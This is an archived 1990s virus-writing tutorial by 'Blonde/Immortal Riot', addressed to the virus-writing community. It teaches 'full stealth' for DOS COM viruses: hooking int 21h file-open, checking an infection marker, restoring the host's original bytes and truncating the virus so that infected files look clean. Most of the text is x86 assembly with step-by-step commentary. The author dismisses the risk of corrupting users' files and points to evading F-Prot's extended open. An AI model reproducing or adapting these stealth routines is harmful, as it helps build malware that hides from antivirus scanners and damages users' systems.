💾 Archived View for spam.works › mirrors › textfiles › virus › fullstlt.txt captured on 2023-06-16 at 21:02:27.

View Raw

More Information

-=-=-=-=-=-=-

% Full stealth tutorial by Blonde %
???????????????????????????????????
What follows is kinda tutorial of disinfection-stealth. It
doesn't cover any *redirection* stealth (such as the one Bluenine
in IR#6 uses), and quite frankly it might not be the best tutorial
the vx-community has seen, but we can always hope it's for some
gain to someone.

Alternative code how physical disinfection can be done is presented
in my Hybris virus, which also is a bit more optimized than this one :-).
Nevertheless, this is the very same technique my Petra.1308 virus used,
so atleast it works..

I've edited this one a bit (Yea, I know it doesn't look like I did,
but I did!) and well, we can always hope Mr.Blonde will write his
next tutorial in a sober-mode :-).

- The Unforgiven.




             - Full Stealth or Disinfection on open -
                 Written by Blonde/Immortal Riot





Introduction
????????????
Okey, this is for those guys who've already made an effective size-stealth
and want some more or those who just like reading ;)

Full stealth for me is when you completely remove the virus from the file.
Preferebly done when you open it. The idea behind this is ofcourse that it
will be harder to spot and it is for the common users, but thats all we want
isn't it?

What's very important when using disinfection is to infect on close or else
you'll of course end up with some major problems ;) Okey, this is a bit more
complex than the size stealth I discussed in my earlier article and I'm not
a teacher so this can be quite hard to understand.

I'll mainly go through the disinfection of a COM file, but with
pseudo code for EXE files as well. All code presented will though be COM-
only.

The basic idea behind disinfection of COM-files is to first of all check
if the file is infected by your virus, then simply restore what we've changed
in the file, that is the first 3-5 bytes in a COM and then simply truncate
the file at (filesize-virussize).

As for EXE-files the scenario is exactly the same, restore what you
changed in the EXE-header rewrite it to the file... and truncate it.


To succeed in these matters you'll have to hook int 21h and tap ah=3d (open)


Check-For-Infection
???????????????????
disinfect_3d:           ;called by our int handler if ah=3dh

                    ;Upon entry to ah=3Dh ds:dx points to the filename...


        push ax bx cx dx di si ds es            ;save registers in use

        push ds
        pop es  ;es=ds
        mov di,dx
        mov al,'.'
        mov cx,64
        repne scasb             ;this will repeatedly scan byte by byte for
                    ; '.' in the filename stored in ds:dx=es:di
                    ;di will then point to offset of '.'+1

        cmp word ptr ds:[di],'OC'
        jne nocom
        cmp word ptr ds:[di],'M'
        je openfile                     ;check if it is a com... if it wasn't
      nocom:
        jmp not_opened                  ;it wasn't a *.com file so don't
                                        ;disinfect

      openfile:                         ;com-file being opened!
        pushf
        push cs
        mov ax,3d02h
        call org21h                     ;open file in read/write mode
        jc nocom                        ; error ==> bail out

        xchg ax,bx

        push cs cs                      ;cs=ds=es
        pop es ds

        mov ax,5700h                    ;get file's time & date
        int 21h
        push cx                         ;save time &
        push dx                         ;date on the stack

      read_4f:
        mov ah,3fh                      ;just read the firstfour bytes to
        mov cx,4                        ;a buffer.
        mov dx,(hostbytes-vstart)
        int 21h

      chk_4_markers:
        cmp byte ptr ds:[hbytes-vstart],0e9h            ;check if firstchar

        jne close_file                                  ;is a jmp (e9)
                                                        ;if not ==> bail!

        cmp byte ptr ds:[hbytes-vstart+3],fileid        ;4th byte = our marker?

        jne close_file                                  ; if not ==> bail!


That was the first part of the disinfection routine, the part that check if
the file *really* is infected. In a nutshell, the code works like this:

First of all we want to check if the file first of all is a COM/EXE file.

What we did was simply to scan ds:dx for the '.' which separates the filename
from the file extension and then compare it to COM/EXE (the code only checks
for com's, but you can fix that ;). That'll be sufficent to determine if it
was a COM/EXE file...

The next step would be to check if the COM/EXE file really is infected.
This can be done in diffrent ways and some more secure than others, but what
I've done in this code is to read the  first four bytes and check the first
against a jmp instruction (the one which jumps to the first instruction in
the main virus-code) and then check the fourth against 'fileid' a byte which
I write to every file I infect... com only of course.

That should do it. To be even more secure one could check for size and
even stealth markers (like seconds) and such, but I don't think it's so
very likely that a com file starts first with a jmp and then as the forth
byte have another byte equal to what we want... Ah well it might corrupt
some files, but who cares? ;)

Note that we don't do a regular open, since that would be recursive we have to
call the original interrupt handler directly...

To do the same for EXE-files is almost as easy... read the whole header
(be sure to save the header-information in the file for this purpose,
don't do any heap-optimizing) and check against your markers maybe the
prelocated SP or maybe the negative checksum or whatever... then continue
with the disinfection where we left the com files...

Restore Init-Bytes
??????????????????
      read_hostbytes:
        mov ax,4202h
        xor cx,cx
        cwd
        int 21h                         ;ax=fsize

        push ax                         ;push fsize.. used lateron...
                        ;if exe then push dx too
        xchg ax,dx

        sub dx,(vend-hbytes)
        mov ax,4200h
        xor cx,cx
        int 21h                         ;goto dx in files...

        mov ah,40h
        mov cx,4
        mov dx,(hbytes-vstart)
        int 21h                         ;read host bytes from end of file...

This is the part where you fetch the original values of infected file. Since
this is important, also remember to leave the original bytes un-encrypted if
the virus is encrypted. Else you'll have to decrypt them, which is pretty
stupid. Encrypted full-stealth viruses might be considered a bit overdoing it,
but well, that's up to you to decide. It's also wise to place the init-bytes
at the end-of the file because that makes file-seek's operations shorter.

Well anyways, first get the filesize in ax then load it in dx and sub dx with
the byte difference from the very end of the virus to the begining of
the hostbytes (in this case 4...) then go to that offset in the file ie.
four bytes from the end and then read those four bytes which are the files
original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use
a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore
differences. you'll just have to sub/read the appropriate number of bytes...

The next step will be to restore those bytes to the begining of the file...

        mov ax,4200h
        xor cx,cx
        cwd
        int 21h                 ;go to beginning of file...

        mov ah,40h
        mov dx,(hbytes-vstart)
        mov cx,4
        int 21h                 ;restore them

Well that' obvious, wasn't it?
The EXE version would only differ if you didn't save the whole EXE-header,
because then you would have to read it, then restore the real values and
re-write it to file then... therefor is it easier to simply write the whole
EXE-header to the end of the infected file, but that'll of course increase
the size of the virus.

Remove the virus from the host-file
???????????????????????????????????
To truncate the file at filesize-virussize we do this...

        pop dx          ;this was push'd two snippets up and it's the file-size
                        ;should also pop cx if it was an exe

        mov ax,4200h
        sub dx,virusize ;subtract the virus-size from the filesize
        int 21h         ;go to filsize-virusize

      truncate:
        mov ah,40h
        xor cx,cx
        int 21h         ;this is the trick. to truncate simply write zero bytes
                        ;to the file...

Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE)
and then sub it with the virus size (don't forget sbb cx,0 if EXE...)
Then go to that offset and write zero bytes to it, that'll truncate it...

      close_dis:
        mov ax,5701h
        pop dx cx
        int 21h         ;restore time/date stamp

        mov ah,3eh
        pushf
        push cs
        call org21h     ;close call to real int handler

      no_opendis:
        pop es ds si di dx cx bx ax
        jmp org21h

You're finished! just restore the time/date stamp and close the file...
Just don't forget to close via a direct call to the real int 21 handler, since
you wouldn't want to re-infect the file ;) then we chain into the real dos
open since the virus has been removed!

This code will successfully disinfect any file opened by ah=3Dh/int 21h, but
there are other ways of opening files, one of them is extended open which
F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll
have to deal with some minor snags. Like loading ds:dx with filename ... If
you're intrested check out Salamander Four...